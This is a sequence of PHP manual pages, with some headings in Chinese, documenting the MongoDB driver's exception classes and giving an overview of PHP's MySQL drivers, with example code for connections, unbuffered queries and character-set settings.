final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

更新日志

版本 | 说明
PECL mongodb 1.5.0 | This class now extends MongoDB\Driver\Exception\ServerException instead of MongoDB\Driver\Exception\RuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\InvalidArgumentException class

(mongodb >= 1.0.0)

简介

Thrown when a driver method is given invalid arguments (e.g. invalid option types).

类摘要

class MongoDB\Driver\Exception\InvalidArgumentException extends InvalidArgumentException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\LogicException class

(mongodb >= 1.0.0)

简介

Thrown when the driver is incorrectly used (e.g. rewinding a cursor).

类摘要

class MongoDB\Driver\Exception\LogicException extends LogicException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\RuntimeException class

(mongodb >= 1.0.0)

简介

Thrown when the driver encounters a runtime error (e.g. internal error from » libmongoc).

类摘要

class MongoDB\Driver\Exception\RuntimeException extends RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 属性 */
protected ?array $errorLabels;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
final public hasErrorLabel(string $errorLabel): bool
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

errorLabels

Contains an array of error labels to go with an exception. For example, error labels can be used to detect whether a transaction can be retried safely if the TransientTransactionError label is present. The existence of a specific error label should be tested for with the MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(), instead of interpreting this errorLabels property manually.

更新日志

版本 | 说明
PECL mongodb 1.6.0 | The MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() method and MongoDB\Driver\Exception\RuntimeException::errorLabels property have been added.

Table of Contents

  • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Returns whether an error label is associated with an exception

User Contributed Notes

There are no user contributed notes for this page.


Returns whether an error label is associated with an exception

  • ? MongoDB\Driver\Exception\RuntimeException
  • MongoDB\Driver\Exception\ServerException ?
  • PHP Manual
  • MongoDB\Driver\Exception\RuntimeException
  • Returns whether an error label is associated with an exception

MongoDB\Driver\Exception\RuntimeException::hasErrorLabel

(mongodb >= 1.6.0)

MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Returns whether an error label is associated with an exception

说明

final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool

Returns whether the errorLabel has been set for this exception. Error labels are set by either the server or the driver to indicated specific situations on which you might want to decide on how you want to handle a specific exception. A common situation might be to find out whether you can safely retry a transaction that failed due to a transient error (like a networking issue, or a transaction conflict). Examples of error labels are TransientTransactionError and UnknownTransactionCommitResult.

参数

errorLabel

The name of the errorLabel to test for.

返回值

Whether the given errorLabel is associated with this exception.

参见

  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • » MongoDB documentation on transactions

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ServerException class

(mongodb >= 1.5.0)

简介

Base class for exceptions thrown by the server. The code of this exception and its subclasses will correspond to the original error code from the server.

类摘要

class MongoDB\Driver\Exception\ServerException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\SSLConnectionException class (deprecated)

(mongodb >= 1.0.0)

Warning

This exception class is deprecated and may be removed in a future major version. The driver has never thrown this exception.

简介

Thrown when the driver fails to establish an SSL connection with the server.

类摘要

final class MongoDB\Driver\Exception\SSLConnectionException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\UnexpectedValueException class

(mongodb >= 1.0.0)

简介

Thrown when the driver encounters an unexpected value (e.g. during BSON serialization or deserialization).

类摘要

class MongoDB\Driver\Exception\UnexpectedValueException extends UnexpectedValueException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\WriteException class

(mongodb >= 1.0.0)

简介

Base class for exceptions thrown by a failed write operation. The exception encapsulates a MongoDB\Driver\WriteResult object.

类摘要

abstract class MongoDB\Driver\Exception\WriteException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* 属性 */
protected MongoDB\Driver\WriteResult $writeResult;
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
final public getWriteResult(): MongoDB\Driver\WriteResult
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

writeResult

The MongoDB\Driver\WriteResult associated with the failed write operation.

更新日志

版本 | 说明
PECL mongodb 1.5.0 | This class now extends MongoDB\Driver\Exception\ServerException instead of MongoDB\Driver\Exception\RuntimeException.

Table of Contents

  • MongoDB\Driver\Exception\WriteException::getWriteResult — Returns the WriteResult for the failed write operation

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteResult for the failed write operation

  • ? MongoDB\Driver\Exception\WriteException
  • Class Tree ?
  • PHP Manual
  • MongoDB\Driver\Exception\WriteException
  • Returns the WriteResult for the failed write operation

MongoDB\Driver\Exception\WriteException::getWriteResult

(mongodb >= 1.0.0)

MongoDB\Driver\Exception\WriteException::getWriteResult — Returns the WriteResult for the failed write operation

说明

final public MongoDB\Driver\Exception\WriteException::getWriteResult(): MongoDB\Driver\WriteResult

Returns the MongoDB\Driver\WriteResult for the failed write operation. The MongoDB\Driver\WriteResult::getWriteErrors() and MongoDB\Driver\WriteResult::getWriteConcernError() methods may be used to get more details about the failure.

参数

此函数没有参数。

返回值

The MongoDB\Driver\WriteResult for the failed write operation.

示例

Example #1 MongoDB\Driver\Exception\WriteException::getWriteResult() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost');
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\WriteException $e) {
$writeResult = $e->getWriteResult();

if ($writeConcernError = $writeResult->getWriteConcernError()) {
var_dump($writeConcernError);
}

if ($writeErrors = $writeResult->getWriteErrors()) {
var_dump($writeErrors);
}
}

?>

以上示例的输出类似于：

array(1) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(70) "E11000 duplicate key error index: db.collection.$_id_ dup key: { : 1 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(1)
    ["info"]=>
    NULL
  }
}

参见

  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations

User Contributed Notes

There are no user contributed notes for this page.


MongoDB Exception Class Tree

The class hierarchy for MongoDB exceptions is modeled after that of the SPL Exceptions. Base classes extend their SPL counterpart and all exception classes in the extension implement the MongoDB\Driver\Exception\Exception interface.

  • MongoDB\Driver\Exception\LogicException (extends LogicException)
  • MongoDB\Driver\Exception\InvalidArgumentException (extends InvalidArgumentException)
  • MongoDB\Driver\Exception\UnexpectedValueException (extends UnexpectedValueException)
  • MongoDB\Driver\Exception\RuntimeException (extends RuntimeException)
    • MongoDB\Driver\Exception\ConnectionException
      • MongoDB\Driver\Exception\AuthenticationException
      • MongoDB\Driver\Exception\ConnectionTimeoutException
      • MongoDB\Driver\Exception\SSLConnectionException (deprecated)
    • MongoDB\Driver\Exception\EncryptionException
    • MongoDB\Driver\Exception\ServerException
      • MongoDB\Driver\Exception\CommandException
      • MongoDB\Driver\Exception\ExecutionTimeoutException
      • MongoDB\Driver\Exception\WriteException
        • MongoDB\Driver\Exception\BulkWriteException

User Contributed Notes

There are no user contributed notes for this page.


MySQL Drivers and Plugins

PHP offers several MySQL drivers and plugins for accessing and handling MySQL.

The differences and functionality of the MySQL extensions are described within the overview of this section.

  • Overview of the MySQL PHP drivers
    • Terminology overview
    • Choosing an API
    • Choosing a library
    • Concepts
  • MySQLi — MySQL增强版扩展
    • 简介
    • 概述
    • 快速入门指南
    • 安装/配置
    • mysqli 扩展和持久化连接
    • 预定义常量
    • Notes
    • MySQLi 扩展的函数概述
    • mysqli — mysqli 类
    • mysqli_stmt — mysqli_stmt 类
    • mysqli_result — mysqli_result 类
    • mysqli_driver — mysqli_driver 类
    • mysqli_warning — mysqli_warning 类
    • mysqli_sql_exception — mysqli_sql_exception 类
    • 别名和过时的 Mysqli 函数
    • 更新日志
  • Mysql_xdevapi
    • 简介
    • 安装/配置
    • 预定义常量
    • 更新日志
    • 示例
    • Mysql_xdevapi 函数
    • mysql_xdevapi\BaseResult — BaseResult interface
    • mysql_xdevapi\Client — Client class
    • mysql_xdevapi\Collection — Collection class
    • mysql_xdevapi\CollectionAdd — CollectionAdd class
    • mysql_xdevapi\CollectionFind — CollectionFind class
    • mysql_xdevapi\CollectionModify — CollectionModify class
    • mysql_xdevapi\CollectionRemove — CollectionRemove class
    • mysql_xdevapi\ColumnResult — ColumnResult class
    • mysql_xdevapi\CrudOperationBindable — CrudOperationBindable interface
    • mysql_xdevapi\CrudOperationLimitable — CrudOperationLimitable interface
    • mysql_xdevapi\CrudOperationSkippable — CrudOperationSkippable interface
    • mysql_xdevapi\CrudOperationSortable — CrudOperationSortable interface
    • mysql_xdevapi\DatabaseObject — DatabaseObject interface
    • mysql_xdevapi\DocResult — DocResult class
    • mysql_xdevapi\Exception — Exception class
    • mysql_xdevapi\Executable — Executable interface
    • mysql_xdevapi\ExecutionStatus — ExecutionStatus class
    • mysql_xdevapi\Expression — Expression class
    • mysql_xdevapi\Result — Result class
    • mysql_xdevapi\RowResult — RowResult class
    • mysql_xdevapi\Schema — Schema class
    • mysql_xdevapi\SchemaObject — SchemaObject interface
    • mysql_xdevapi\Session — Session class
    • mysql_xdevapi\SqlStatement — SqlStatement class
    • mysql_xdevapi\SqlStatementResult — SqlStatementResult class
    • mysql_xdevapi\Statement — Statement class
    • mysql_xdevapi\Table — Table class
    • mysql_xdevapi\TableDelete — TableDelete class
    • mysql_xdevapi\TableInsert — TableInsert class
    • mysql_xdevapi\TableSelect — TableSelect class
    • mysql_xdevapi\TableUpdate — TableUpdate class
    • mysql_xdevapi\Warning — Warning class
  • Mysql（原始） — 原始的 MySQL API
    • 简介
    • 安装/配置
    • 更新日志
    • 预定义常量
    • 示例
    • MySQL 函数
  • Mysqlnd — MySQL Native Driver
    • 简介
    • Overview
    • Installation
    • 运行时配置
    • Incompatibilities
    • Persistent Connections
    • Statistics
    • Notes
    • Memory management
    • MySQL Native Driver Plugin API

User Contributed Notes

There are no user contributed notes for this page.


Overview of the MySQL PHP drivers

Introduction

There are several PHP APIs for accessing the MySQL database. Users can choose between the mysqli or PDO_MySQL extensions.

This guide explains the terminology used to describe each API, information about choosing which API to use, and also information to help choose which MySQL library to use with the API.

  • Terminology overview
  • Choosing an API
  • Choosing a library
  • Concepts
    • Buffered and Unbuffered queries
    • Character sets

User Contributed Notes

There are no user contributed notes for this page.


Terminology overview

This section provides an introduction to the options available to you when developing a PHP application that needs to interact with a MySQL database.

What is an API?

An Application Programming Interface, or API, defines the classes, methods, functions and variables that your application will need to call in order to carry out its desired task. In the case of PHP applications that need to communicate with databases the necessary APIs are usually exposed via PHP extensions.

APIs can be procedural or object-oriented. With a procedural API you call functions to carry out tasks, with the object-oriented API you instantiate classes and then call methods on the resulting objects. Of the two, the latter is usually the preferred interface, as it is more modern and leads to better organized code.

When writing PHP applications that need to connect to the MySQL server there are several API options available. This document discusses what is available and how to select the best solution for your application.

What is a Connector?

In the MySQL documentation, the term connector refers to a piece of software that allows your application to connect to the MySQL database server. MySQL provides connectors for a variety of languages, including PHP.

If your PHP application needs to communicate with a database server you will need to write PHP code to perform such activities as connecting to the database server, querying the database and other database-related functions. Software is required to provide the API that your PHP application will use, and also handle the communication between your application and the database server, possibly using other intermediate libraries where necessary. This software is known generically as a connector, as it allows your application to connect to a database server.

What is a Driver?

A driver is a piece of software designed to communicate with a specific type of database server. The driver may also call a library, such as the MySQL Client Library or the MySQL Native Driver. These libraries implement the low-level protocol used to communicate with the MySQL database server.

By way of an example, the PHP Data Objects (PDO) database abstraction layer may use one of several database-specific drivers. One of the drivers it has available is the PDO MYSQL driver, which allows it to interface with the MySQL server.

Sometimes people use the terms connector and driver interchangeably, this can be confusing. In the MySQL-related documentation the term driver is reserved for software that provides the database-specific part of a connector package.

What is an Extension?

In the PHP documentation, you will come across another term - extension. The PHP code consists of a core, with optional extensions to the core functionality. PHP's MySQL-related extension, mysqli, is implemented using the PHP extension framework.

An extension typically exposes an API to the PHP programmer, to allow its facilities to be used programmatically. However, some extensions which use the PHP extension framework do not expose an API to the PHP programmer.

The PDO MySQL driver extension, for example, does not expose an API to the PHP programmer, but provides an interface to the PDO layer above it.

The terms API and extension should not be taken to mean the same thing, as an extension may not necessarily expose an API to the programmer.

User Contributed Notes

There are no user contributed notes for this page.


Choosing an API

PHP offers different APIs to connect to MySQL. Below we show the APIs provided by the mysqli and PDO extensions. Each code snippet creates a connection to a MySQL server running on "example.com" using the username "user" and the password "password". And a query is run to greet the user.

Example #1 Comparing the MySQL APIs

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $result->fetch_assoc();
echo htmlentities($row['_message']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['_message']);

Example #2 Comparing prepared statements

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$statement = $mysqli->prepare("SELECT District FROM City WHERE Name=?");
$statement->execute(["Amersfoort"]);
$result = $statement->get_result();
$row = $result->fetch_assoc();
echo htmlentities($row['District']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->prepare("SELECT District FROM City WHERE Name=?");
$statement->execute(["Amersfoort"]);
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['District']);

Feature comparison

The overall performance of both extensions is considered to be about the same. Although the performance of the extension contributes only a fraction of the total run time of a PHP web request. Often, the impact is as low as 0.1%.

 | ext/mysqli | PDO_MySQL
PHP version introduced | 5.0 | 5.1
Included with PHP 7.x and 8.x | Yes | Yes
Development status | Active | Active
Lifecycle | Active | Active
Recommended for new projects | Yes | Yes
OOP Interface | Yes | Yes
Procedural Interface | Yes | No
API supports non-blocking, asynchronous queries with mysqlnd | Yes | No
Persistent Connections | Yes | Yes
API supports Charsets | Yes | Yes
API supports server-side Prepared Statements | Yes | Yes
API supports client-side Prepared Statements | No | Yes
API supports Stored Procedures | Yes | Yes
API supports Multiple Statements | Yes | Most
API supports Transactions | Yes | Yes
Transactions can be controlled with SQL | Yes | Yes
Supports all MySQL 5.1+ functionality | Yes | Most

User Contributed Notes

rellect at gmail dot com 20-Feb-2019 11:37
Another point to consider and one of the advantages of PDO is that it's not limited to mysql and supports other database engines such as PostgreSQL, SQLite, etc.
alvaro at demogracia dot com 21-Jun-2012 09:29
Apart from the feature list, I suggest you try out both MySQLi and PDO and find out what API design you like most. MySQLi is more powerful and probably more complex to learn. PDO is more elegant and has the advantage that you only need to learn one PHP API if you need to work with different DBMS in the future.


Choosing a library

The mysqli and PDO_MySQL PHP extensions are lightweight wrappers on top of a C client library. The extensions can either use the mysqlnd library or the libmysqlclient library. Choosing a library is a compile time decision.

The mysqlnd library is part of the PHP distribution. It offers features like lazy connections and query caching, features that are not available with libmysqlclient, so using the built-in mysqlnd library is highly recommended. See the mysqlnd documentation for additional details, and a listing of features and functionality that it offers.

Example #1 Configure commands for using mysqlnd or libmysqlclient

// Recommended, compiles with mysqlnd
$ ./configure --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd

// Alternatively recommended, compiles with mysqlnd
$ ./configure --with-mysqli --with-pdo-mysql

// Not recommended, compiles with libmysqlclient
$ ./configure --with-mysqli=/path/to/mysql_config --with-pdo-mysql=/path/to/mysql_config

Library feature comparison

It is recommended to use the mysqlnd library instead of the MySQL Client Server library (libmysqlclient). Both libraries are supported and constantly being improved.

 | MySQL native driver (mysqlnd) | MySQL client server library (libmysqlclient)
Part of the PHP distribution | Yes | No
PHP version introduced | 5.3.0 | N/A
License | PHP License 3.01 | Dual-License
Development status | Active | Active
Lifecycle | No end announced | No end announced
Compile default (for all MySQL extensions) | Yes | No
Compression protocol support | Yes | Yes
SSL support | Yes | Yes
Named pipe support | Yes | Yes
Non-blocking, asynchronous queries | Yes | No
Performance statistics | Yes | No
LOAD LOCAL INFILE respects the open_basedir directive | Yes | No
Uses PHP's native memory management system (e.g., follows PHP memory limits) | Yes | No
Return numeric column as double (COM_QUERY) | Yes | No
Return numeric column as string (COM_QUERY) | Yes | Yes
Plugin API | Yes | Limited
Automatic reconnect | No | Optional

User Contributed Notes

There are no user contributed notes for this page.


Concepts

Table of Contents

  • Buffered and Unbuffered queries
  • Character sets

These concepts are specific to the MySQL drivers for PHP.

User Contributed Notes

There are no user contributed notes for this page.


Buffered and Unbuffered queries

Queries are using the buffered mode by default. This means that query results are immediately transferred from the MySQL Server to PHP and then are kept in the memory of the PHP process. This allows additional operations like counting the number of rows, and moving (seeking) the current result pointer. It also allows issuing further queries on the same connection while working on the result set. The downside of the buffered mode is that larger result sets might require quite a lot memory. The memory will be kept occupied till all references to the result set are unset or the result set was explicitly freed, which will automatically happen during request end at the latest. The terminology "store result" is also used for buffered mode, as the whole result set is stored at once.

Note:

When using libmysqlclient as library PHP's memory limit won't count the memory used for result sets unless the data is fetched into PHP variables. With mysqlnd the memory accounted for will include the full result set.

Unbuffered MySQL queries execute the query and then wait for the data from the MySQL server to be fetched. This uses less memory on the PHP-side, but can increase the load on the server. Unless the full result set was fetched from the server no further queries can be sent over the same connection. Unbuffered queries can also be referred to as "use result". Once all rows in the result set are fetched, the result set is gone and it cannot be iterated again.

Following these characteristics, unbuffered queries should be used only when a large result set is expected that will be processed sequentially. Unbuffered queries contain a number of pitfalls that makes it more difficult to use them, e.g. the number of rows in the result set is unknown until the last row is fetched. Buffered queries are the easier and more flexible way to process result sets.

Because buffered queries are the default, the examples below will demonstrate how to execute unbuffered queries with each API.

Example #1 Unbuffered query example: mysqli

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");
$unbufferedResult = $mysqli->query("SELECT Name FROM City", MYSQLI_USE_RESULT);

foreach ($unbufferedResult as $row) {
echo $row['Name'] . PHP_EOL;
}
?>

Example #2 Unbuffered query example: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world", 'my_user', 'my_password');
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$unbufferedResult = $pdo->query("SELECT Name FROM City");
foreach ($unbufferedResult as $row) {
echo $row['Name'] . PHP_EOL;
}
?>

User Contributed Notes

polygon dot co dot in at gmail dot com 25-Jul-2023 05:20
The bufferred and unbuffered queries can be used for a limited amount of records.

For example; while implementing download CSV for a query using buffered way, memory limit issues comes up above 30,000 records to be buffered.

Similarly, For unbuffered the load switched to database server.

This load on both the web (buffered) and MySQL (unbuffered) servers can be reduced as below supporting download CSV for 30,000+ records.

<?php
// Shell command.
$shellCommand = 'mysql '
    . '--host='.escapeshellarg($hostname).' '
    . '--user='.escapeshellarg($username).' '
    . '--password='.escapeshellarg($password).' '
    . '--database='.escapeshellarg($database).' '
    . '--execute='.escapeshellarg($sql).' '
    . '| sed -e \'s/"/""/g ; s/\t/","/g ; s/^/"/g ; s/$/"/g\'';

// CSV headers
header("Content-type: text/csv");
header("Content-Disposition: attachment; filename={$csvFilename}");
header("Pragma: no-cache");
header("Expires: 0");

// Execute command via shell and echo the complete output as a string
echo shell_exec($shellCommand);
?>

There will be a bit of CPU consumption for the sed regex.


Character sets

Ideally a proper character set will be set at the server level, and doing this is described within the » Character Set Configuration section of the MySQL Server manual. Alternatively, each MySQL API offers a method to set the character set at runtime.

Caution

The character set and character escaping

The character set should be understood and defined, as it has an affect on every action, and includes security implications. For example, the escaping mechanism (e.g., mysqli_real_escape_string() for mysqli and PDO::quote() for PDO_MySQL) will adhere to this setting. It is important to realize that these functions will not use the character set that is defined with a query, so for example the following will not have an effect on them:

Example #1 Problems with setting the character set with SQL

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

// Will NOT affect $mysqli->real_escape_string();
$mysqli->query("SET NAMES utf8mb4");

// Will NOT affect $mysqli->real_escape_string();
$mysqli->query("SET CHARACTER SET utf8mb4");

// But, this will affect $mysqli->real_escape_string();
$mysqli->set_charset('utf8mb4');

// But, this will NOT affect it (UTF-8 vs utf8mb4) -- don't use dashes here
$mysqli->set_charset('UTF-8');
?>

Below are examples that demonstrate how to properly alter the character set at runtime using each API.

Note: Possible UTF-8 confusion

Because character set names in MySQL do not contain dashes, the string "utf8" is valid in MySQL to set the character set to UTF-8 (up to 3 byte UTF-8 Unicode Encoding). The string "UTF-8" is not valid, as using "UTF-8" will fail to change the character set and will throw an error.

Example #2 Setting the character set example: mysqli

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

echo 'Initial character set: ' . $mysqli->character_set_name() . "\n";

if (!$mysqli->set_charset('utf8mb4')) {
printf("Error loading character set utf8mb4: %s\n", $mysqli->error);
exit;
}

echo 'Your current character set is: ' . $mysqli->character_set_name() . "\n";
?>

Example #3 Setting the character set example: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world;charset=utf8mb4", 'my_user', 'my_pass');
?>

User Contributed Notes

legrand dot jeremie at gmail dot com 26-Dec-2022 02:20
After setting the charset, you should define the 'collation' too, to give information on how sorting results on requests. By default, it is 'utf8mb4_general_ci', which is a simplified set of sorting rules. For the official rules, edicted by Unicode, it should be 'utf8mb4_unicode_ci'.

For example:
\mysqli_set_charset($hdl, 'utf8mb4');
\mysqli_query($hdl, 'SET collation_connection = utf8mb4_unicode_520_ci');
mkroese at eljakim dot nl 21-Nov-2017 06:44
Please note that MySQL's utf8 encoding has a maximum of 3 bytes and is unable to encode *all* unicode characters.

If you need to encode characters beyond the BMP (Basic Multilingual Plane), like emoji or other special characters, you will need to use a different encoding like utf8mb4 or any other encoding supporting the higher planes. Mysql will discard any characters encoded in 4 bytes (or more).

See https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-utf8mb4.html for more information on the matter
go at NOSPAMME dot quidera dot com 30-Aug-2012 05:11
If none of the character set alterations work and the data is valid UTF8 and is garbled when saved in mysql. Then your table is not supporting UTF8 and likely is Latin1 or something else. So  you will need to update you table, in the case of MySQL do the following:

ALTER TABLE <table_name> CONVERT TO CHARACTER SET utf8;


MySQL增强版扩展

  • 简介
  • 概述
  • 快速入门指南
    • 面向过程和面向对象，两种接口
    • Connections
    • Executing statements
    • Prepared Statements
    • Stored Procedures
    • Multiple Statements
    • API support for transactions
    • Metadata
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • mysqli 扩展和持久化连接
  • 预定义常量
  • Notes
  • MySQLi 扩展的函数概述
  • mysqli — mysqli 类
    • mysqli::$affected_rows — Gets the number of affected rows in a previous MySQL operation
    • mysqli::autocommit — 打开或关闭本次数据库连接的自动命令提交事务模式
    • mysqli::begin_transaction — Starts a transaction
    • mysqli::change_user — Changes the user of the specified database connection
    • mysqli::character_set_name — 返回当前数据库连接的字符编码
    • mysqli::close — 关闭先前打开的数据库连接
    • mysqli::commit — 提交当前事务
    • mysqli::$connect_errno — Returns the error code from last connect call
    • mysqli::$connect_error — Returns a description of the last connection error
    • mysqli::__construct — Open a new connection to the MySQL server
    • mysqli::debug — Performs debugging operations
    • mysqli::dump_debug_info — 将调试信息输出到日志
    • mysqli::$errno — 返回最近函数调用的错误代码
    • mysqli::$error_list — Returns a list of errors from the last command executed
    • mysqli::$error — Returns a string description of the last error
    • mysqli::execute_query — Prepares, binds parameters, and executes SQL statement
    • mysqli::$field_count — Returns the number of columns for the most recent query
    • mysqli::get_charset — Returns a character set object
    • mysqli::$client_info — 获取 MySQL 客户端信息
    • mysqli::$client_version — 作为整数返回 MySQL 客户端的版本
    • mysqli::get_connection_stats — 返回客户端连接的统计数据
    • mysqli::$host_info — 返回表述使用的连接类型的字符串
    • mysqli::$protocol_version — 返回 MySQL 协议使用的版本号
    • mysqli::$server_info — 返回 MySQL 服务器的版本号
    • mysqli::$server_version — 作为一个整数返回MySQL服务器的版本
    • mysqli::get_warnings — Get result of SHOW WARNINGS
    • mysqli::$info — 返回最近执行的 SQL 语句的信息
    • mysqli::init — 初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象
    • mysqli::$insert_id — 返回上次查询为 AUTO_INCREMENT 列生成的值
    • mysqli::kill — 让服务器杀死一个 MySQL 线程
    • mysqli::more_results — 检查批量查询中是否还有查询结果
    • mysqli::multi_query — 在数据库上执行一个或多个查询
    • mysqli::next_result — 为读取 multi_query 执行之后的下一个结果集做准备
    • mysqli::options — 设置选项
    • mysqli::ping — ping 一个连接，或者如果连接处于断开状态，重新连接
    • mysqli::poll — 轮询连接
    • mysqli::prepare — 预处理执行 SQL
    • mysqli::query — 对数据库执行查询
    • mysqli::real_connect — 建立一个 MySQL 服务器连接
    • mysqli::real_escape_string — 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义
    • mysqli::real_query — 执行一个mysql查询
    • mysqli::reap_async_query — 获取异步查询的结果
    • mysqli::refresh — 刷新
    • mysqli::release_savepoint — 从当前事务的保存点中移除一个命名保存点
    • mysqli::rollback — 回滚当前事务
    • mysqli::savepoint — 在当前事务中设置命名保存点
    • mysqli::select_db — 选择用于数据库查询的默认数据库
    • mysqli::set_charset — 设置客户端字符集
    • mysqli::$sqlstate — 返回上一次 MySQL 操作的 SQLSTATE 错误
    • mysqli::ssl_set — 用于使用 SSL 建立安全连接
    • mysqli::stat — 获取当前系统状态信息
    • mysqli::stmt_init — 初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象
    • mysqli::store_result — 传输上次查询的结果集
    • mysqli::$thread_id — 返回当前连接的线程 ID
    • mysqli::thread_safe — 返回是否线程安全
    • mysqli::use_result — Initiate a result set retrieval
    • mysqli::$warning_count — Returns the number of warnings from the last query for the given link
  • mysqli_stmt — mysqli_stmt 类
